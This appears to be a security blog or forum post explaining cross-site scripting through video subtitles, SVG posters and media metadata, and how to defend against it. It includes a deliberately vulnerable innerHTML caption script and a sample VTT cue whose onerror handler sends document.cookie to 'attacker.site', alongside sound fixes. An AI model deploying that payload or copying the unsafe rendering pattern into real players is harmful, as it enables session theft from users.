- by x32x01 ||
Video files aren’t always harmless - attackers can hide malicious scripts inside subtitles, SVG posters, or even metadata fields. When your web player or backend processes that data as HTML, it can execute attacker-controlled JavaScript right in your users’ browsers. Let’s break down how it happens, how to fix it, and how to harden your app.
What Actually Happens
Subtitles (like .vtt or .srt) and poster images (like .svg) often contain markup.If your player uses
innerHTML or unsafe DOM APIs to insert those strings, any embedded <script> or <img onerror> tag will execute in the page context, resulting in a Cross-Site Scripting (XSS) vulnerability.Common Attack Vectors
- WebVTT/SRT Captions - cue text interpreted as HTML.
- SVG Posters - SVG allows
<script>and event handlers. - MP4 Metadata Fields - unvalidated title/artist fields displayed as HTML.
- Custom Players or Plugins - unsafe
innerHTMLrendering in captions or UI.
Vulnerable Example (Unsafe JavaScript)
HTML:
<video id="player" controls>
<track id="track" kind="subtitles" src="subs.vtt" srclang="en" default>
</video>
<script>
const track = document.getElementById('track');
track.addEventListener('load', () => {
const cues = track.track.cues;
for (let i = 0; i < cues.length; i++) {
const el = document.createElement('div');
el.innerHTML = cues[i].text; // ❌ Dangerous
document.body.appendChild(el);
}
});
</script> If
subs.vtt contains: Code:
00:00:00.000 --> 00:00:05.000
<img src=x onerror="fetch('https://attacker.site/steal?cookie='+document.cookie)">
Safe Rendering - The Fix
Always treat user-controlled content as plain text: JavaScript:
el.textContent = cues[i].text; // ✅ Safe: no HTML parsing If you need limited formatting, sanitize using a trusted library like DOMPurify:
JavaScript:
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(cues[i].text, { ALLOWED_TAGS: ['b','i','em','strong'] });
Server-Side Hardening
- Validate MIME type and file extension (use magic bytes, not filenames).
- Strip metadata safely:
ffmpeg -i input.mp4 -c copy -map_metadata -1 output.mp4 - Re-encode uploaded media into safe containers.
- Sanitize or convert subtitle files before serving.
- Scan uploads for embedded HTML/SVG or malicious content.
Architectural Mitigations
- Serve user uploads from a separate subdomain (e.g.,
cdn.example.com). - Apply CORS carefully and use sandboxed iframes for untrusted content.
- Separate static resources from your main app origin to block cookie theft.
Browser Security Headers
- Content-Security-Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none'; - X-Content-Type-Options:
nosniff - Referrer-Policy and X-Frame-Options: add extra isolation layers.
Player & Library Hygiene
- Use reputable, well-maintained video players (
Video.js,Plyr). - Avoid outdated plugins or skins that modify DOM rendering.
- Keep your dependencies updated and review changelogs for security patches.
Quick Developer Checklist
- Reject HTML/SVG in subtitles or posters
- Sanitize captions server- & client-side (DOMPurify)
- Isolate uploads on a static domain
- Strip metadata with FFmpeg
- Enforce strong CSP + nosniff
- Keep players updated
- Monitor logs for suspicious upload activity